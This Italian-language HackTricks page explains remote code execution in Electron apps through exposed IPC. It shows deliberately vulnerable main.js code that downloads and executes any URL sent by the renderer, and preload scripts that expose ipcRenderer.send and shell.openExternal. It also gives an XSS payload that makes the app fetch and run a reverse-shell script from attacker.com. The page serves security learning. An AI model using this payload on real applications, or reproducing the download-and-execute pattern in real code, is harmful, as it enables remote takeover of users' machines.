Electron contextIsolation RCE via IPC

Reading time: 3 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Se lo script di preload espone un endpoint IPC dal file main.js, il processo renderer sarà in grado di accedervi e, se vulnerabile, potrebbe essere possibile un RCE.

La maggior parte di questi esempi è stata presa da qui https://www.youtube.com/watch?v=xILfQGkLXQo. Controlla il video per ulteriori informazioni.

Esempio 0

Esempio da https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (hai l'esempio completo di come MS Teams abusava di XSS per RCE in quelle diapositive, questo è solo un esempio molto basilare):

Esempio 1

Controlla come main.js ascolta su getUpdate e scaricherà ed eseguirà qualsiasi URL passato.
Controlla anche come preload.js espone qualsiasi evento IPC da main.

javascript
// Part of code of main.js
ipcMain.on("getUpdate", (event, url) => {
console.log("getUpdate: " + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
})

mainWindow.webContents.session.on(
"will-download",
(event, item, webContents) => {
console.log("downloads path=" + app.getPath("downloads"))
console.log("mainWindow.download_url=" + mainWindow.download_url)
url_parts = mainWindow.download_url.split("/")
filename = url_parts[url_parts.length - 1]
mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
console.log("downloadPath=" + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on("updated", (event, state) => {
if (state === "interrupted") {
console.log("Download is interrupted but can be resumed")
} else if (state === "progressing") {
if (item.isPaused()) console.log("Download is paused")
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once("done", (event, state) => {
if (state === "completed") {
console.log("Download successful, running update")
fs.chmodSync(mainWindow.downloadPath, 0755)
var child = require("child_process").execFile
child(mainWindow.downloadPath, function (err, data) {
if (err) {
console.error(err)
return
}
console.log(data.toString())
})
} else console.log(`Download failed: ${state}`)
})
}
)
javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

Sfruttamento:

html
<script>
electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
</script>

Esempio 2

Se lo script di preload espone direttamente al renderer un modo per chiamare shell.openExternal, è possibile ottenere RCE.

javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url)
}

Esempio 3

Se lo script di preload espone modi per comunicare completamente con il processo principale, un XSS sarà in grado di inviare qualsiasi evento. L'impatto di questo dipende da ciò che il processo principale espone in termini di IPC.

javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb)
}

window.electronSend = (event, data) => {
ipcRenderer.send(event, data)
}

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks